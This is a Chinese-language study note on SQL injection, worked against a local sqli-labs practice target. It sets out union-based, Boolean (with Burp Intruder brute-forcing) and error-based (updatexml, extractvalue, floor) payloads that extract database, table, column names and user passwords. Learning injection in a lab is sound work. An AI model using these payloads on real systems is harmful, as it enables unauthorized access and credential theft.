4.1 SQL注入的基础
4.1.1.介绍SQL注入
SQL注入的指的是web应用程序对用户输入数据的合法性没有判断,前端传入后端的参数是我们唯一可控的,因此我们可以让参数代入数据库查询,我们可以通过传入不同的SQL语句实现对数据库的操作。
一般情况下可对SQL语句进行选用,根据不同情况选择不同语句到达我们想要的效果。
4.1.2SQL注入原理
原理为通过对于SQL语句的巧妙构造来让我们的语句注入本不能达到的后端代码中
4.1.3 union攻击的具体实现以及分析
测试地址 127.0.0.1/sql/Less-1/?id=1 首先分析一下,我们输入的是id=1,应该是把数据正常的从SQL语句里输入进去了,接下来我们要按照步骤一步一步尝试
(1)判断此处的SQL语句是通过何种方式读入参数的,例如例句
select*from admin where username ='用户输入的用户名' and password ='用户输入的密码'
正常情况下输入应该是用户名1,密码123,但是我们如果输入1加上一点特殊符号,就可以帮我们判断SQL读入参数时用的是’'还是""还是 ()
以这题为例,输入id=1’后,报错,报错是好事啊,因为我们输入进去的’把它用来读入的一组**’‘给闭合了,多出来一个’,所以它不知道怎么办,才会报错。如果它用()或""来读入,那么我们输入的’就应该被当成参数输入而不报错。同时这也告诉我们可以在输入的’**后面植入SQL语句执行
ps:可以用id=1 and 1=1 或者id =1 and 1=2来判断有无注入点(数字型)
(2)学会使用注释
在SQL中我们可以用–+把语句注释掉,让它成为不被编译执行的注释例如
select*from admin where username ='-1' or 1=1 --+' and password ='用户输入的密码'
这样引发闭合的单引号就被注销掉了,剩下的一个**'**使得后面的语句可以被读入
(3) 判断字段数
union有一个严格的约束条件,必须保证字段数一致,即两个查询结果要有相同的列数,因此我们要对字段数进行判断,使用order by number即id=1’ order by 1–+ 一直加到报错为止,就可以判断字段数
(4)判断回显点
当我们知道表的字段数之后,需要确定在哪个字段会输出有效的信息,首先使用到的是union select,因为有三组,使用后面拼接数字1,2,3,同时加入limit 1, 1(作用是从第1行开始显示1行的内容)
id=1' union select 1,2,3 limit 1,1 --+
之后可以看见2,3被输出,说明两个位置都可以成为回显点。
将2,3换成version()与user()可以查询MySQL的版本以及当前账号。
(5)爆库名
用database()替换回显点,显示当前库名
也可以使用group_concat() 将所有内容写入一行并输出
id=-1' union select 1,database(),3 --+
(5)爆表名
id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
payload:information_schema是mysql自带的库,记录了该数据库所有的表名和字段名
这句话的意思是查找数据库security库下的所有表名
(6)爆字段名
id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+
同理从库中寻找下表’users’中所有字段
(7)报数据
最后查询users表中字段username与password的所有信息
id=-1' union select 1,group_concat(username,0x5c,password),3 from security.users --+
0x5c是\的十六进制编码,0x3c是:的十六进制编码
差不多了
2021/4/25 0:51
(8)补充
以上是字符型注入的注入方法,数字型注入不太适用,如果在注入时id=1’没有什么用,就用id=1 and 1=1然后id=1 and 1=2,可以用来判断数字型,数字型的特点是用假的值来使SQL语句执行
判断字符型或者数字型的方法(举例,并不完全)
1.less-1中id=1’报错是’‘1’’ LIMIT 0,1’,去掉已经闭合的部分就是1’’ LIMIT 0,1 看出来1处有两个引号,其中有一个是我们输入的另一个是代码用来闭合的,则闭合方式是**’**,SQL语句为
select login_name,password from admin where id='id' limit 0,1
2.less-2中**id=1’**报错是 ‘’ LIMIT 0,1’,去掉已经闭合的部分就是 ’ LIMIT 0,1 可以推出SQL语句为
select login_name,password from admin where id=id limit 0,1
3.less-3中id=1’报错是’‘1’’) LIMIT 0,1’,去掉闭合部分就是**‘1’’) LIMIT 0,1**,可以推出SQL语句为
select login_name,password from admin where id=('id') limit 0,1
以此类推。。。
4.1.4 Boolean型注入
(1)Boolean注入攻击语句
判断数据库库名长度:
and length(database())>=1
判断数据库库名:
and substr(database(),1,1)='t'
判断表名:
and substr((select table_name from information_schema.tables where table_schema='database()' limit 0,1),1,1)='u'
判断字段名:
and substr((select column_name from information_schema.columns where table_shema='database()' and table_name='表名'limit 0,1),1,1)='i'
判断数据:
and substr((select 列名 from database().表名 limit 0,1),1,1)='z'
Boolean型注入正确的时候回应Yes,错误的时候回应No
(2)Boolean型用Burp爆破
首先是burp的使用,intercept is on/off 代表开/关抓包
依拙见,Boolean型是对于库名/库名长度/表名/字段名/数据 这种单字符的判断,根据返回的结果(Yes/No)判断是否是这个字母。说白了就是一个字一个字的判断,最后拼出一串字符。
先让burp抓包,在proxy界面显示拦截到的请求,全选发送给intruder,选择集束炸弹模式,打个比方我们想判断库名,在之前注入的前提下输入:
and substr(database(),1,1)='t'
这个语句是假设第一个字符是t,实际爆破的时候在第一个1,以及t前加上符号,因为不知道一共几个,也不知道字母到底是啥
变为
之后选择载荷(payload),选择simple list,payload1输入1,2,3,4,5,6,7,8(因为一共8个,用and length(database())>=1一个一个试出来)
之后选择字母顺序,继续simple list,payload2,选择添加a-z,进行爆破
(3)如何查看爆破结果
根据条件1和2进行对比,比如1对于的字母显示的长度与其他的不一样,那么第一个字母应该就是对应该是这个字母s
(可以看见145项的长度为909,和其他不一样)依次类推找到其他的正确名字。
4.1.5报错注入
(1)报错注入的基础和应用场景
首先我们了解一下什么叫显示位置,在一个在一个网站的正常页面,服务端执行SQL语句查询数据库中的数据,客户端将数 据展示在页面中,这个展示数据的位置就叫显示位 。
(这样的就没有显示位,不显示查询内容)
(2)updatexml方法
先查询数据库的版本信息
?id=1' and updatexml(1,concat(0x7e,(select version()),0x7e),1) --+
再查询当前登录用户信息
?id=1' and updatexml(1,concat(0x7e,(user()),0x7e),1) --+
查询当前所处的数据库
?id=1' and updatexml(1,concat(0x7e (database()),0x7e),1) --+
查询表名
?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+
查询users表中的字段
?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1)--+
查询用户名密码(注意,每次只能显示一行,所以配合limit使用)
?id=1' and updatexml(1,concat(0x7e,( select concat_ws('%23',id,username,password) from users limit 0,1),0x7e),1)--+
通过改变limit 0,1里的第一个参数来输出下一个用户信息
(updatexml的语句是对称的,方便记忆)
(3)extractvalue方法
使用方法和updatexml大同小异
语句固定格式
?id=1' and extractvalue(1, concat(0x5c, (select ******))) --+
查询用户信息
?id=1' and extractvalue(1, concat(0x5c, (select concat_ws('%23',id,username,password) from users limit 0,1))) --+
(3)floor方法
使用方法和updatexml大同小异
语句固定格式
?id=1' and (select 1 from (select count(),concat((***), floor(rand(0)2))x from information_schema.columns group by x)a) --+
查询用户信息
?id=1' and (select 1 from (select count(),concat((select concat_ws('%23',id,username,password) from users limit 0,1), floor(rand(0)2))x from information_schema.columns group by x)a) --+
(4)总结
报错注入在大体上其实与Boolean注入类似,在没有验证码的情况下,可以尝试使用Boolean型抓包爆破,但是当存在验证码的情况,不能爆破,就使用报错注入。上面三个函数最好都会使用,因为有些网站会存在关键字屏蔽的问题,在实际注入的时候可能会选择不同的方法尝试。